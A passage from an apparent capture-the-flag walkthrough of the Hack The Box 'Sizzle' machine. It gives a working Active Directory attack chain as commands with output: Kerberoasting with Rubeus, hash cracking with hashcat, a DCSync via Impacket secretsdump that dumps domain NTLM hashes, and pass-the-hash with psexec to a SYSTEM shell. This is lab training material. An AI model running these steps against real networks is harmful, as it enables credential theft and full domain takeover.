4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
*Evil-WinRM* PS C:\windows\temp> .\rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : HTB.LOCAL
[*] Searching path 'LDAP://sizzle.HTB.LOCAL/DC=HTB,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1


[*] SamAccountName         : mrlky
[*] DistinguishedName      : CN=mrlky,CN=Users,DC=HTB,DC=LOCAL
[*] ServicePrincipalName   : http/sizzle
[*] PwdLastSet             : 7/10/2018 2:08:09 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*mrlky$HTB.LOCAL$http/[email protected]*$CD [snippet]

In which I saved the hash to a file in my local machine:

1
$krb5tgs$23$*mrlky$HTB.LOCAL$http/[email protected]*$CDF65DF [snippet]

And used hashcat alongside with rockyou.txt wordlist to crack it:

1
hashcat mrlky.hash /usr/share/wordlists/SecLists-master/Passwords/Leaked-Databases/rockyou.txt 

Revealing the credentials for “mlrky”:

1
mlrky:Football#7

Vertical Privilege Escalation

Summary

With credentials for mlrky, we can perform the DCSync attack. This was discovered earlier when enumerating with bloodhound.

Details

It’s as simple as running secretsdump from Impacket toolkit on my linux machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ secretsdump.py 'htb.local'/'mrlky':'Football#7'@'10.10.10.103'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
sizzler:1604:aad3b435b51404eeaad3b435b51404ee:d79f820afad0cbc828d79e16a6f890de:::
SIZZLE$:1001:aad3b435b51404eeaad3b435b51404ee:74cd9c0ebd6635465dcd703a5380bd8e:::
<SNIP>

With the password hash for the Administrator user, I can use psexec.py from Impacket to obtain a shell as NT AUTHORITY/SYSTEM, compromising the entire system at this point:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ psexec.py -hashes :f6b7160bfc91823792e0ac3a162c9267 -dc-ip 10.10.10.103 htb.local/[email protected] cmd.exe
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.10.103.....
[*] Found writable share ADMIN$
[*] Uploading file VAgBkctr.exe
[*] Opening SVCManager on 10.10.10.103.....
[*] Creating service ubiD on 10.10.10.103.....
[*] Starting service ubiD.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig 
 
Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : htb
   IPv6 Address. . . . . . . . . . . : dead:beef::13f
   Link-local IPv6 Address . . . . . : fe80::c812:17cc:5933:556f%4
   IPv4 Address. . . . . . . . . . . : 10.10.10.103
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2

Tunnel adapter isatap.{46648897-E969-4FE1-9579-63F4E5F7CD54}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : htb

C:\Windows\system32>
This post is licensed under CC BY 4.0 by the author.